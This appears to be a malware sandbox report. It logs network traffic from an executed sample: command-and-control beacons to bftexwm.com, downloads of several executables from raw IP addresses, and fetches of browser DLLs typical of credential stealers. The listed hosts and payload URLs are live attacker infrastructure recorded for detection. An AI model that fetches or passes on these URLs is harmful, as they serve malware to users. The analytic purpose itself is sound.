Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)

Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.9
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.9
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.9
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.17.134
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.33
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.17.134
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.17.134
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.33
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.33
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.17.134
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.17.134
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.9
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.9
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.33
Source: unknown	TCP traffic detected without corresponding DNS query: 176.113.115.33
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.17.134
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.17.134
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.17.134
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.17.134
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.17.134
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.9
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.9
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.9
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.9
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.9
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.9
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.9
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.9
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.9
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.9
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.9
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.9
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.17.134
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.17.134
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.17.134
Source: unknown	TCP traffic detected without corresponding DNS query: 154.216.17.134

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_0050B990 InternetOpenA,InternetOpenUrlA,InternetOpenUrlA,InternetReadFile,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

2_2_0050B990

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0Host: api.myip.com
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.33 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /ffernifre.exes HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: file-link-iota.vercel.appCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1nhuM4.js HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0Host: iplogger.org
Source: global traffic	HTTP traffic detected: GET /profiles/76561199761128941 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Host: 94.130.188.148Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqlr.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Host: 94.130.188.148Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Host: 94.130.188.148Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Host: 94.130.188.148Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Host: 94.130.188.148Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Host: 94.130.188.148Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Host: 94.130.188.148Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Host: 94.130.188.148Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /api/crazyfish.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0Host: 195.10.205.48
Source: global traffic	HTTP traffic detected: GET /Edge/PENDXGKW.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 154.216.17.134Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dezo/huna.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 31.41.244.9Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ssl/install.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 176.113.115.33Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /prog/66d0c13d2f0ed_ImpressedHub.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /prog/66c6def3f0546_sss.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /malesa/66d08591035ef_AttachmentDaughters.exe#1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /malesa/66cdfc485c6f9_instruction.exe#upus HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /yuop/66d0879618b6b_File.exe#xin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /prog/66d0cd9755a01_sbwd.exe#space HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /revada/66c6fcb30b9dd_123p.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /prog/66d0cd9a65b5d_vqwergf.exe#space HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /malesa/66ce00c2c1a2c_doz.exe#mene HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 46.8.231.109Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/sqlite3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/freebl3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/mozglue.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/msvcp140.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/nss3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/softokn3.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1309cdeb8f4c8736/vcruntime140.dll HTTP/1.1Host: 46.8.231.109Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /prog/66d0cd9a65b5d_vqwergf.exe HTTP/1.1Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /prog/66d0cd8fb6f7b_lgjfd.exe HTTP/1.1Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.100Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c446db22f31df92d8838ed12a666d307eca743ec4c2b07b5296692396387f711c7ee91 HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c446db22f31df92d8838ed12a666d307eca743ec4c2b07b5296692396387f711c7ee91 HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
